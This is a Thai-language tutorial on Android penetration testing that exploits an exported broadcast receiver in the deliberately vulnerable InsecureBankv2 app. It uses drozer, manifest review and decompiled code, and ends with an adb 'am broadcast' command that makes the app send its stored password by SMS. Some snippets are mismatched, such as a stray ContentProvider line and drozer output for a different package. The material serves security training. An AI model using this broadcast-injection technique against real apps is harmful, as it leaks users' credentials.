บทนำ (Overview)
“Broadcast Receivers” เป็นส่วนประกอบหนึ่งของ “Android Components” ถูกใช้สำหรับจัดการการสื่อสารข้อมูลระหว่าง “Android Operating System” กับตัวโปรแกรมของเรา “Applications”
public class MyContentProvider extends ContentProvider { }
เราสามารถแบ่ง “Broadcast Receivers” ได้เป็น
System Events
โปรแกรมที่เราเขียนนั้นสามารถลใช้งาน “Broadcast” ที่เกิดจากระบบได้เพื่อนำไปตรวจสอบในโปรแกรมของเราเช่น แบตเตอรี่ของเครื่องใกล้หมดหรือ มี “SMS” เข้ามา เป็นต้น
Custom Broadcasts
โปรแกรมที่เราเขียนสามารถส่ง Broadcast intent ได้เช่นกัน
ขั้นตอน (Steps)
- ค้นหาชื่อ “Package” ของ “Application” ที่จะตรวจสอบ
- ติดตั้งโปรแกรม “InsecureBankv2.apk” บน “Android Emulator” (ติดตามได้ที่บทความ How to install .apk on emulator)
- ติดตั้งและตั้งค่าสำหรับโปรแกรม “Drozer” (How to set Drozer)
- เรียกใช้ Drozer console
//Forward port เพื่อเชื่อมต่อโปรแกรม Drozer บน Emulator หรือ Device C:\Users\[user]\Desktop λ adb forward tcp:31415 tcp:31415 //เรียกใช้งาน Drozer console C:\Users\[user]\Desktop λ drozer console connect
- ตรวจสอบชื่อ “package” โดยใช้คำสั่งค้นหา
//ทดลองเดาชื่อโปรแกรม หรือคำอื่น ๆ เพื่อช่วยในการค้นหา //ทดลองเดาชื่อโปรแกรม หรือคำอื่น ๆ เพื่อช่วยในการค้นหา dz> run app.package.list -f insecure com.android.insecurebankv2 (InsecureBankv2)
- จากนั้นไปหายอดสรุปก่อนว่า “Component” มีเปิด “Exported” อยู่หรือไม่
//จากตัวอย่างพบว่ามีbroadcast receivers เปิดอยู่ 2 component dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable
- เมื่อทราบว่ามี “broadcast recievers” มาตรวจสอบข้อมูล “Export” ใน “AndroidManifest.xml” ไฟล์ดังนี้
<manifest versionCode="1" versionName="1.0" package="com.android.insecurebankv2" platformBuildVersionCode="22" platformBuildVersionName="5.1.1-1819727"> <uses-sdk minSdkVersion="15" targetSdkVersion="22"> </uses-sdk> <uses-permission name="android.permission.INTERNET"> </uses-permission> <uses-permission name="android.permission.WRITE_EXTERNAL_STORAGE"> </uses-permission> <uses-permission name="android.permission.SEND_SMS"> </uses-permission> <uses-permission name="android.permission.USE_CREDENTIALS"> </uses-permission> <uses-permission name="android.permission.GET_ACCOUNTS"> </uses-permission> <uses-permission name="android.permission.READ_PROFILE"> </uses-permission> <uses-permission name="android.permission.READ_CONTACTS"> </uses-permission> <uses-permission name="android.permission.READ_PHONE_STATE"> </uses-permission> <uses-permission name="android.permission.READ_EXTERNAL_STORAGE" maxSdkVersion="18"> </uses-permission> <uses-permission name="android.permission.READ_CALL_LOG"> </uses-permission> <uses-permission name="android.permission.ACCESS_NETWORK_STATE"> </uses-permission> <uses-permission name="android.permission.ACCESS_COARSE_LOCATION"> </uses-permission> <uses-feature glEsVersion="0x20000" required="true"> </uses-feature> <application theme="@16974105" label="@2131165248" icon="@2130903040" debuggable="true" allowBackup="true"> <activity label="@2131165248" name="com.android.insecurebankv2.LoginActivity"> <intent-filter> <action name="android.intent.action.MAIN"> </action> <category name="android.intent.category.LAUNCHER"> </category> </intent-filter> </activity> <activity label="@2131165271" name="com.android.insecurebankv2.FilePrefActivity" windowSoftInputMode="0x34"> </activity> <activity label="@2131165268" name="com.android.insecurebankv2.DoLogin"> </activity> <activity label="@2131165275" name="com.android.insecurebankv2.PostLogin" exported="true"> </activity> <activity label="@2131165278" name="com.android.insecurebankv2.WrongLogin"> </activity> <activity label="@2131165269" name="com.android.insecurebankv2.DoTransfer" exported="true"> </activity> <activity label="@2131165277" name="com.android.insecurebankv2.ViewStatement" exported="true"> </activity> <provider name="com.android.insecurebankv2.TrackUserContentProvider" exported="true" authorities="com.android.insecurebankv2.TrackUserContentProvider"> </provider> <receiver name="com.android.insecurebankv2.MyBroadCastReceiver" exported="true"> <intent-filter> <action name="theBroadcast"> </action> </intent-filter> </receiver> <activity label="@2131165267" name="com.android.insecurebankv2.ChangePassword" exported="true"> </activity> <activity theme="@16973839" name="com.google.android.gms.ads.AdActivity" configChanges="0xfb0"> </activity> <activity theme="@2131296479" name="com.google.android.gms.ads.purchase.InAppPurchaseActivity"> </activity> <meta-data name="com.google.android.gms.version" value="@2131427332"> </meta-data> <meta-data name="com.google.android.gms.wallet.api.enabled" value="true"> </meta-data> <receiver name="com.google.android.gms.wallet.EnableWalletOptimizationReceiver" exported="false"> <intent-filter> <action name="com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION"> </action> </intent-filter> </receiver> </application> </manifest>
- จากข้างไฟล์ “AndroidManifest.xml” ข้างต้นเราพบว่า มี MyBroadCastReceiver” เปิด “Exported
และมี “Action” ชื่อว่า “theBroadcast”<receiver name="com.android.insecurebankv2.MyBroadCastReceiver" exported="true"> <intent-filter> <action name="theBroadcast"> </action> </intent-filter> </receiver>
- ให้ “Convert Byte-code” เพื่อตรวจสอบ “Source-code” ที่เกี่ยวข้องกับ “BroadCastReceiver” สามารถติดตามได้ที่บทความ
- ให้ใช้คำค้นหาเกี่ยวกับ Broadcast = “MyBroadCastReceiver” และ Action “theBroadcast” เพื่อตรวจสอบฟังก์ชันการทำงานที่เกี่ยวข้อง
- ตรวจสอบ “Source-code” พบ “parameter” ตัวถูกใช้สำหรับการ “sendBroadcast” คือ “phonenumber” และ “newpass”
private void broadcastChangepasswordSMS(String paramString1, String paramString2) { if (TextUtils.isEmpty(paramString1.toString().trim())) { System.out.println("Phone number Invalid."); return; } Intent localIntent = new Intent(); localIntent.setAction("theBroadcast"); localIntent.putExtra("phonenumber", paramString1); localIntent.putExtra("newpass", paramString2); sendBroadcast(localIntent); }
- ตามตรวจสอบ “parameter” ที่ส่งไป
- จาก “Source-code” ข้างล่างพบว่า มีการส่งข้อความโดยใช้ “SMS” (SmsManager localSmsManager = SmsManager.getDefault();)
import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.telephony.SmsManager; import android.util.Base64; import java.io.PrintStream; public class MyBroadCastReceiver extends BroadcastReceiver { public static final String MYPREFS = "mySharedPreferences"; String usernameBase64ByteString; public void onReceive(Context paramContext, Intent paramIntent) { String str1 = paramIntent.getStringExtra("phonenumber"); String str2 = paramIntent.getStringExtra("newpass"); if (str1 != null) { try { SharedPreferences localSharedPreferences = paramContext.getSharedPreferences("mySharedPreferences", 1); this.usernameBase64ByteString = new String(Base64.decode(localSharedPreferences.getString("EncryptedUsername", null), 0), "UTF-8"); String str3 = localSharedPreferences.getString("superSecurePassword", null); String str4 = new CryptoClass().aesDeccryptedString(str3); String str5 = str1.toString(); String str6 = "Updated Password from: " + str4 + " to: " + str2; SmsManager localSmsManager = SmsManager.getDefault(); System.out.println("For the changepassword - phonenumber: " + str5 + " password is: " + str6); localSmsManager.sendTextMessage(str5, null, str6, null, null); return; } catch (Exception localException) { localException.printStackTrace(); return; } } System.out.println("Phone number is null"); } }
- ย้อนกลับไปที่ “AndroidManifest.xml” เพื่อดูว่ามี “permission” ของการอ่านส่ง “SMS” หรือไม่
<uses-permission name="android.permission.SEND_SMS"> </uses-permission>
- สุดท้ายทดสอบใช้งาน “Broadcast Receiver” เพื่อส่ง “SMS” โดยใช้ “Adb shell” ดังนี้
λ adb shell shell@hlte:/ $ am broadcast -a theBroadcast -n com.android.insecurebankv2/com.android.insecurebankv2.MyBroadCastReceiver --es phonenumber 1234 --es newpass p@ssw0rd .MyBroadCastReceiver --es phonenumber 1234 --es newpass p@ssw0rd < Broadcasting: Intent { act=theBroadcast cmp=com.android.insecurebankv2/.MyBroadCastReceiver (has extras) } Broadcast completed: result=0 shell@hlte:/ $ //am broadcast -a [action] -n [package name/receiver name] --es phonenumber [Phonenumber] --es newpass [message]
- ตรวจสอบที่โทรศัพท์มือถือจะพบ “SMS” ดังนี้